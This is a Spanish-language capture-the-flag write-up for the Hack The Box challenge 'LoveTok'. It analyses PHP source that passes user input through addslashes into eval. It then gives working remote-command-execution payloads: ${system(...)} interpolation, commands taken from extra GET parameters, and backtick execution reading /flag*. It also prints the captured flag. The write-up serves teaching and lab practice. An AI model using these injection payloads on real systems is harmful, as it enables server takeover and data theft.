LoveTok
2 minutos de lectura
Se nos proporciona el siguiente sitio web:
También disponemos sel código fuente en PHP del servidor.
Análisis del código fuente
Solo hay un controlador (controllers/TimeController.php
):
<?php
class TimeController
{
public function index($router)
{
$format = isset($_GET['format']) ? $_GET['format'] : 'r';
$time = new TimeModel($format);
return $router->view('index', ['time' => $time->getTime()]);
}
}
Como se puede ver, se necesita un parámetro format
y se hace una llamada a TimeModel
(models/TimeModel.php
):
<?php
class TimeModel
{
public function __construct($format)
{
$this->format = addslashes($format);
[ $d, $h, $m, $s ] = [ rand(1, 6), rand(1, 23), rand(1, 59), rand(1, 69) ];
$this->prediction = "+${d} day +${h} hour +${m} minute +${s} second";
}
public function getTime()
{
eval('$time = date("' . $this->format . '", strtotime("' . $this->prediction . '"));');
return isset($time) ? $time : 'Something went terribly wrong';
}
}
Este format
se sanitiza con addslashes
, que escapa de comillas simples, comillas dobles, contrabarras y bytes nulos. Sin embargo, el método getTime
inserta el contenido de format
en el siguiente código PHP:
$time = date("<format>", strtotime("<prediction>"));
El código anterior se interpreta con eval
, y tenemos control de sobre format
.
Solución
Debemos encontrar una manera de inyectar el código PHP en la instrucción anterior. Nuestro objetivo es obtener ejecución remota de comandos, porque el nombre de archivo de la flag se aleatoriza en entrypoint.sh
:
#!/bin/bash
# Secure entrypoint
chmod 600 /entrypoint.sh
FLAG=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)
mv /flag /flag$FLAG
exec "$@"
Obsérvese que nuestro payload está dentro de las comillas dobles, por lo que podemos usar interpolación de strings con ${...}
y ejecutar código PHP en línea.
Esta es una simple prueba de concepto:
Obsérvese que no podemos usar strings (comillas simples o comillas dobles), pero podemos emplear algunos trucos. Por ejemplo, podemos usar array_values($_GET)[1]
para tomar una string de otro parámetro GET. O podemos usar este otro truco para ejecutar id
:
?format=id${system(substr($this->format, 0, 2))}
Flag
En este punto, podemos ejecutar cualquier comando del sistema, por lo que podamos usar cat /flag*
y así evitamos tener que conocer los caracteres aleatorios del nombre del archivo:
?format=cat /flag*${system(substr($this->format, 0, 10))}
HTB{wh3n_l0v3_g3ts_eval3d_sh3lls_st4rt_p0pp1ng}
Otras payloads de obtener la flag son las siguientes:
?format=${system(array_values($_GET)[1])}&asdf=cat /flag*
?format=${system($_GET[1337])}&1337=cat /flag*
?format=${print(`cat /flag*`)}